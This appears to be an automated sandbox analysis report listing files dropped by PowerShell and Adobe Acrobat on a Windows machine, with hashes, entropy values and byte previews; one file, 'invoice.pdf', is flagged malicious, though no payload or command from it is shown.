SHA1:	F470B78385B0562AB1E5630A57F737B6A639D06D
SHA-256:	60E3784CD35BFA2A9158AA684DCC1682E7123F8E82DE410248992F233424FA30
SHA-512:	406090AEDDCB2DD1CA718917C6C248D315EAFDE708B4A1AF329B7AAEA35E52D003E5077DF0DCF90E57E2EE34944AAEFFBA1A3B86C46FC5CC4E0EE9C76AB27929
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI81ea.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5177502348333967
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClYl:Qw946cPbiOxDlbYnuRK+b1l
MD5:	7958A1131F21427C68715E3105604D8C
SHA1:	52DB59F71F779FBDBE61884A7FE3FC04CADCE570
SHA-256:	4B3A4B5881E6BE8C847678E8B1482DC07CBF47EBFF9F93285269DEDE4A7F12D7
SHA-512:	161895E739919C4EF9EA40239C5BA34BC04389D98F5559A5EA92DBBF01C56A4438CF2CA83C1DBECD21921D817FC76E2D10D5B66A3776F7D67C4036C3E805ADA9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.5.6.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4h4olzg1.upt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p03pwwsy.jkz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A910bfh8g_1n59n3f_5yk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9g2d7x5_1n59n3d_5yk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-56-00-490.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3602701260782695
Encrypted:	false
SSDEEP:	384:R9LYTxC3pqLpy58+3Ak2bhaD+lUDokYiHgwmtBnPJg2nYGDCO+v+fGAu0Av3ud17:JBu
MD5:	1D8484F474DC30E440E637C9F6A53284
SHA1:	533CAF0A00F5332E63113E139E57E8C1C6F46611
SHA-256:	19298B3B50A768A204B7847C285DE5BEADC378C5DAEB0405F7A77FD5332FB8D3
SHA-512:	15AE46BDEA6018DCBB8713AD8CAF79C13F546D02D016A5712CF23066D94B28CF04097FE4EF74CCDC72A6796AF491D58114F084210AEFE757D26BCCFAE90ED0FB
Malicious:	false
Preview:	SessionID=a981de0d-f91a-4f48-9f9d-8f4bad12408f.1736571360509 Timestamp=2025-01-10T23:56:00:509-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a981de0d-f91a-4f48-9f9d-8f4bad12408f.1736571360509 Timestamp=2025-01-10T23:56:00:539-0500 ThreadID=7508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a981de0d-f91a-4f48-9f9d-8f4bad12408f.1736571360509 Timestamp=2025-01-10T23:56:00:539-0500 ThreadID=7508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a981de0d-f91a-4f48-9f9d-8f4bad12408f.1736571360509 Timestamp=2025-01-10T23:56:00:539-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a981de0d-f91a-4f48-9f9d-8f4bad12408f.1736571360509 Timestamp=2025-01-10T23:56:00:539-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388597183134513
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rZ:2s
MD5:	9DC15254A4EF6AE9D9CA31754A4E2FBF
SHA1:	7763913F41153A55365BD4307C1E5902DDB0D130
SHA-256:	6D375353A9565BC8E5761E315D6A01DD82AFE466516CCE7BA35A7A67C9C8CF8F
SHA-512:	D25DF09570146D6B355B7968BF2E88C0B48A0712DD463E7BF787AAC1DE689F7C0DABB2CB1F15F5E7EABCE95B7C28AE1B9678D2D83960C4AD430ED4CCEB2C531F
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\290feefa-3abc-4ca8-9f3d-2a97c4e73dac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3880f3f3-254e-4962-8202-06f769b9557c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8972e914-e655-4e82-8538-68b5929d4419.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d31345fe-10b4-44e8-b34c-638036631475.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
